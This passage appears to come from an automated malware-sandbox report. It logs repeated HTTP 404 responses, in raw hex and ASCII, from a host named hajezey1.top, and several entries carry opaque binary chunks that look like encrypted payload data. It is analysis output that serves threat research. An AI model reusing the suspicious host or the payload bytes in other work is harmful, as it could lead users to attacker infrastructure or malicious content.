2c d6 e8 b1 14 73 71 10 fa 82 4b 86 07 30 5a 22 a2 3f 0b 8e 2b 51 fd f5 7a 00 9d 82 ef d0 d6 4a 13 a7 e9 4d 51 c2 41 64 cd 27 5c 8d b7 a3 23 0c 26 17 51 d2 eb e9 23 19 b3 32 59 08 42 41 ae e4 36 dd 3f 9d 43 cd 17 fe 2f 15 9f f8 d8 66 47 42 25 e1 b5 be 34 56 9b 46 3e 99 86 11 22 83 37 22 ec 68 aa cf 04 2a 95 36 56 0f 50 67 74 20 b9 87 f6 f4 81 de bb 34 6b 36 cf 09 27 4e e2 d2 be 95 47 ab 63 10 ac f8 b9 1f 3a 48 93 92 4e bd 44 ef fb c9 e3 de ea 50 38 02 97 b1 a4 57 25 57 b9 d0 ea 85 62 4a 08 7d 54 7a 98 6c 39 c0 1e f3 5c d9 40 00 fc ce 6e 47 b3 9a 4c 07 22 7d e6 a2 c6 62 b9 14 31 eb cd 40 24 15 8e b7 82 7f 8e 40 b6 f1 b8 4e a1 21 3b 88 4b 6e 47 f3 04 dd be c6 83 41 5f 4f af b8 e8 01 be a2 57 ee 60 87 bd b7 6b 67 09 0f 8a ef 22 3b 6b 81 c7 86 7a 8e 12 d3 e4 de 0e 7b d6 7d 00 2c 0f 7a d7 9b 48 0b ad 8b bc 08 85 f7 8f 82 42 b7 28 85 d8 da 14 79 a2 8e b9 08 c0 fe 77 c6 1d 2b 15 bf fa a5 e9 a8 b2 13 3b 35 02 1a 1b eb c2 f5 6c 8d e3 17 d3 83 6f ce ed 3f ec cf 81 68 73 02 99 ea a6 f5 c3 05 d0 b3 d3 23 39 41 c4 a5 c8 63 77 ca 0b 8f bd d9 39 6b a1 99 98 77 e8 0f 4e 8c da 06 bd 37 87 8c b4 26 b8 2c 58 b2 77 6c 08 d8 f9 d2 eb 48 25 66 34 2d 6f 77 5e a5 37 48 84 99 ff 67 37 f9 ad a1 97 3b 86 f3 bd 98 bb 1f 67 c7 26 e1 39 c6 86 8e f0 09 af 63 95 09 09 a8 1f 13 30 7b 32 cc c9 e1 ad c3 e5 0f 25 93 23 c4 1d d7 cf 8e 34 39 dc 46 77 58 dc be 91 98 3f d8 2c eb 53 43 a0 0c 97 e4 22 76 f9 14 f9 0b 64 82 93 64 4f 55 b4 ca 5e c3 d5 c0 88 0b 3d d9 1d 69 09 de ff 3d c1 03 70 2e 6f f4 d4 6a db a9 16 da
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:29:51 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:29:51 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:29:51 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 66 36 36 0d 0a 00 00 d2 a7 53 28 ca 53 57 5c 2f 8f 69 c1 50 22 ec 26 d8 a1 e7 26 67 0b 72 90 86 ec d2 ca 71 c4 7c be 02 d7 36 3f f4 65 91 89 49 80 4a 35 7e dc 99 bc 2f 8d 61 e9 72 e6 ce 17 b5 12 df 9c 22 60 1b d6 88 67 a1 c2 8a 31 51 0f 88 35 69 d1 88 86 a9 68 1b 1c 2e 4b 08 84 f3 77 b3 f6 12 94 b5 d4 02 cc 3a d8 c8 69 2f 2b ba 22 2e c0 90 88 e0 5d 98 70 16 d6 08 e3 57 da d8 ed 21 e5 e1 94 52 ea 59 9b 93 e2 86 38 f8 f3 a4 7c 7f e2 46 aa 8f 8c f5 cf 9b 2b 25 9b f6 ba c9 1b b0 1c 67 74 d2 ff 95 87 cd 2b 80 78 51 a1 a2 8f 2c df d2 1c e0 32 02 50 08 08 d8 e2 30 a5 59 93 9b b7 4f f3 e0 e6 62 79 04 54 ea d6 d7 0c 3d 61 1f 27 f4 d2 af 34 91 b4 b9 41 8f 20 59 55 11 5c 7c 3b 66 ab 49 11 a0 c8 58 4b 67 13 d2 18 5b 47 86 65 39 15 32 29 c5 f7 15 67 aa cf 20 c0 7a 9f 06 a2 7f c1 96 98 8b 36 bd 28 c6 8a 44 d8 06 0e 45 c7 1e 7d 6f fb e0 04 89 f9 d4 57 80 90 70 89 ec e4 4a 6b b6 f2 a2 22 48 52 df 49 a1 ff bc ff 1f fd f5 3f f4 6f d3 7c cb 36 d2 ce 4e 49 b3 0b 5b 4c 65 55 5b ad 30 7a 83 3b 2b ca c3 e3 b2 ec 92 90 0f 1c 57 ee 87 7e 0c 35 8a 3d 50 7f d0 56 81 b6 9b 97 96 70 9f 8a 86 e8 47 5a ad b2 cb 99 6c 71 11 87 02 b1 b8 56 b0 40 f6 0a bf 8b 71 91 ce 21 b5 1e 55 df 76 79 23 36 55 96 da 19 d1 3a 2d b2 4e 06 02 25 47 c2 fa 6b 8a b2 e2 4b 6d ec c0 40 a4 e2 d0 d7 d9 86 4e 85 8b 51 b0 3e 5b f3 71 87 4a 04 38 6d 72 14 2c d0 e8 b1 14 65 7c 10 22 17 4a 86 47 30 5a 22 a2 3f 0b 8e 6b 51 fd b5 54 02 f9 ee f8 b2 d6 4a 1f a7 e9 4d 51 a2 4c 64 cd 25 5c 8d b7 bf 2e 0c 26 17 51 d2 eb e9 23 19 9d 46 3c 70 76 41 ae a6 c3 88 3e 9d 43 dd 17 fe 2f 43 9e f8 d8 62 47 42 c5 d0 b8 be 34 56 9b 46 76 99 86 11 00 83 32 42 52 f7 c2 ae 64 0f 95 36 e1 48 52 67 25 50 b8 81 f6 bc 81 de bb 6e 6a 36 cf 09 27 4e e2 d2 be 95 47 ab 63 10 ec f8 b9 5f 14 2c f2 e6 2f bd 44 ef bf 8b 4f dc ea 90 39 02 97 ab a4 57 25 f5 b8 d0 bc a6 62 4a 08 5d f6 b3 06 2d 1a c0 5e f3 7c bb a7 fd d4 98 21 17 da 9a 2d 35 23 7d f5 b2 68 60 b8 10 31 fa ed ad 67 e1 e1 bd 84 f3 8c 40 b6 f0 90 4f a1 21 71 ae 61 2e 7a b1 76 af ce c6 83 41 66 30 ae a9 c8 d0 7e 33 3a 64 67 0b bf 77 6a 66 21 0e 8a ef 28 1d 41 81 d4 b6 78 8e 18 d3 e4 9e 0c 7b d6 6c 02 2f 27 76 d7 9b 4e 20 ba f5 be 08 85 fd 89 aa 41 b7 28 8f f4 d5 06 78 5c 9b b8 08 c0 e5 5c c5 17 00 f3 b8 d0 a3 39 a9 b2 13 20 1d 06 1a 1b e1 ea f0 6c 8d e9 c7 d2 83 6f d5 c5 3b ec cf 8b 40 75 02 99 e0 03 f4 c3 05 cb 99 d3 23 2a 71 c7 a5 d9 62 77 ca 08 8f bd c8 11 61 a1 99 9e 5f e3 0f 4e 8a d0 23 9d 43 8e 7e 14 0e b9 2c 58 99 f7 6d 08 d8 fd f7 cb ab 42 66 fb 05 6d 77 5e 8e b7 4a 84 99 fb 42 17 7d bd 91 94 13 85 f3 bd b3 3b 1c 67 c7 22 e7 19 8e 53 c0 b2 21 ab 63 95 22 89 ac 1f 13 34 5e 12 59 b3 52 34 eb e0 0f 25 b8 a3 c1 1d d7 cb ab 14 62 f3 3b 1f 70 da be 91 b3 bf de 2c eb 57 66 80 fe 9d 11 b0 5e fe 14 f9 20 e4 89 93 64 4b 70 94 ea 13 6b e6 e8 80 0b 3d f2 9d 65 09 de fb 18 e1 98 ea 30 e3 dc dd 6a db 82 96 dd
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:29:54 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:29:54 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:29:54 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:29:54 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:29:54 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 66 36 36 0d 0a 00 00 d2 a7 53 28 ca 53 57 5c 2f 8f 69 c1 50 22 ec 26 d8 a1 e7 26 67 0b 72 90 86 ec d2 ca 71 c4 7c be 02 d7 36 3f f4 65 91 89 49 80 4a 35 7e dc 99 bc 2f 8d 61 e9 72 e6 ce 17 b5 12 df 9c 22 60 1b d6 88 67 a1 c2 8a 31 51 0f 88 35 69 d1 88 86 a9 68 1b 1c 2e 4b 08 84 f3 77 b3 f6 12 94 b5 d4 02 cc 3a d8 c8 69 2f 2b ba 22 2e c0 90 88 e0 5d 98 70 16 d6 08 e3 57 da d8 ed 21 e5 e1 94 52 ea 59 9b 93 e2 86 38 f8 f3 a4 7c 1d 16 4d aa 8f 8c f5 cf 9b 2b 25 9b f6 ba e9 1a b0 1c 07 74 d2 87 9a 87 cd 2b 80 78 51 a1 a2 8f 3c 65 dd 1c e0 32 02 50 08 a8 da e2 30 a5 59 93 9b b7 4f f3 e0 e6 62 79 04 54 ea d6 d7 0c 3d 61 1d 27 f4 d2 af 34 91 b4 b9 21 80 20 59 55 11 5c 92 86 64 ab 49 11 80 c8 58 4b 67 13 d2 18 5b 47 86 65 39 15 32 29 c5 f7 15 67 aa cf 20 c0 7a 9f 06 a2 7f c1 96 98 8b 36 85 92 c9 8a 5c d8 06 0e 45 27 11 7d 87 f8 e0 04 89 f9 d4 57 80 90 70 89 ec 9c 48 6b 0e e1 a2 22 48 f2 d0 49 a1 ff bc ff 1f fd f5 3f f4 6f d3 7c cb 36 d2 ce 4e 49 b3 0b 5b 4c 65 55 5b ad 30 7a 83 3b 2b ca c3 e3 b2 ec 92 90 0f 1c 57 ee 87 7e 0c 35 8a 3d 50 7f d0 56 81 b6 9b 97 96 70 9f 8a 86 e8 47 5a ad b2 cb 99 6c 71 11 87 02 b1 b8 56 b0 40 f6 0a bf 8b 71 91 ce 21 b5 1e 55 df 76 79 d3 4f 5a 96 da 19 d1 3a 2d ca 41 06 02 25 47 c2 fa 6b 8a b2 e2 4b 6d ec c0 40 a4 e2 d0 d7 d9 86 4e 85 8b 51 b0 3e 5b f3 99 84 4a 04 38 8d 7d 14 2c d0 e8 b1 14 1d 73 10 22 17 4a 86 47 30 5a 22 a2 3f 0b 8e 6b 51 fd b5 54 02 f9 ee f8 b2 d6 4a 1f a7 e9 4d 51 02 43 64 cd 25 5c 8d b7 d7 21 0c 26 17 51 d2 eb e9 23 19 9d 46 3c 70 76 41 ae a6 c3 88 3e 9d 43 dd 17 fe 2f 43 9e f8 d8 62 47 42 f5 6a b7 be 34 56 9b 46 76 99 86 11 00 83 32 42 ea 6f cf ae 04 5d 94 36 e1 48 50 67 35 50 b8 81 be f0 80 de 5b 46 6a 36 cf 09 27 4e e2 d2 be 95 47 ab 63 10 ec f8 b9 5f 14 2c f2 e6 2f bd 44 ef bf 8b 4f dc ea 90 39 02 97 ab a4 57 25 f5 b8 d0 a7 85 62 4a 52 7d 54 7a 08 6c 39 c0 5e f3 5c 19 6d 63 95 be 07 3d da 9a 3e 05 22 7d e6 b2 68 60 bd 10 31 eb cd fc 25 15 8e b7 82 7f 8e 40 b6 f1 47 4e a1 21 84 88 4b 2e 69 81 77 af dd c6 83 41 df 30 ae b8 e8 21 10 a0 57 6e 61 87 bd 77 6a 67 09 0f 8a ef 22 3b 6b 81 c7 86 7a 8e 52 d3 e4 9e 4e 7b d6 7d 00 2c 0f 7a d7 9b 48 0b ad 8b bc 08 85 f7 8f 82 42 b7 28 85 d8 da 14 79 a2 8e b9 08 c0 fe 77 c6 1d 2b 15 bf fa a5 e9 a8 b2 13 3b 35 02 1a 1b eb c2 f5 6c 8d e3 17 d3 83 6f ce ed 3f ec cf 81 68 73 02 99 ea a6 f5 c3 05 d0 b3 d3 23 39 41 c4 a5 c8 63 77 ca 0b 8f bd d9 39 6b a1 99 98 77 e8 0f 4e 8c da 06 bd 37 87 8c b4 26 b8 2c 58 b2 77 6c 08 d8 f9 d2 eb 48 25 66 34 2d 6f 77 5e a5 37 48 84 99 ff 67 37 f9 ad a1 97 3b 86 f3 3d 98 bb 1f 67 c7 26 e1 39 c6 86 8e f0 09 af 63 9b 09 09 a8 00 13 30 7b 88 cc c9 e1 a3 c3 e5 0f 25 93 23 c4 a9 d7 cf 8e 3d 39 dc 46 ba 58 dc be b0 98 3f d8 94 eb 53 43 a1 0c 97 e4 6e 76 f9 14 34 0b 64 82 b2 64 4f 55 e0 ca 5e c3 bd c0 88 0b 54 d9 1d 69 7a de ff 3d e1 03 70 2e 1f f4 d4 6a a9 a9 16 da
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:29:56 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
